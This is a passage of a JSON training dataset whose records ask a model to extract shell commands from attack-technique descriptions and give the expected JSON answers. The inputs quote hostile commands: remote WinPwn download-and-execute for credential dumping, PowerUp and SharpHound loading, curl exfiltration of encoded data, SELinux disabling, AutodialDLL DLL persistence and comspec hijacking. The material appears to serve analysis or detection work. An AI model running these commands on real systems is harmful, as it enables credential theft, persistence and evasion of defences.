- No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This method encodes and posts data via the command: echo -n 111-11-1111 | b64encode -r -\ncurl -XPOST #{base64_data}.#{destination_url}",
    "output": "{\"command_list\": [\"echo -n 111-11-1111 | b64encode -r -\\ncurl -XPOST #{base64_data}.#{destination_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry can be modified to disable the compress color and show tips features for the current user with the command: reg  add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg  add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executing a file copied from System32 to a non-system directory may raise alarms, as shown in this command:\ncopy-item \"$env:windir\\System32\\cmd.exe\" -destination \"$env:allusersprofile\\cmd.exe\"\nstart-process \"$env:allusersprofile\\cmd.exe\"\nsleep -s 5 \nstop-process -name \"cmd\" | out-null",
    "output": "{\"command_list\": [\"copy-item \\\"$env:windir\\\\System32\\\\cmd.exe\\\" -destination \\\"$env:allusersprofile\\\\cmd.exe\\\"\\nstart-process \\\"$env:allusersprofile\\\\cmd.exe\\\"\\nsleep -s 5 \\nstop-process -name \\\"cmd\\\" | out-null\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attackers can maintain persistence by setting the AutodialDLL key to their malicious DLL, using this command: Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll",
    "output": "{\"command_list\": [\"Set-ItemProperty HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\\\\T1546\\\\bin\\\\AltWinSock2DLL.dll\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The available network shares can be listed with the command: smbstatus --shares",
    "output": "{\"command_list\": [\"smbstatus --shares\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To loot local credentials using the Safetykatz technique via WinPwn's function, run the following command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nsafedump -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    SELinux enforcement can be disabled with the command: setenforce 0",
    "output": "{\"command_list\": [\"setenforce 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute the signed manage-bde.wsf script with custom command options, use the following command:\nset comspec=#{command_to_execute}\ncscript %windir%\\System32\\manage-bde.wsf",
    "output": "{\"command_list\": [\"set comspec=#{command_to_execute}\\ncscript %windir%\\\\System32\\\\manage-bde.wsf\\n\"]}"
  },
  {
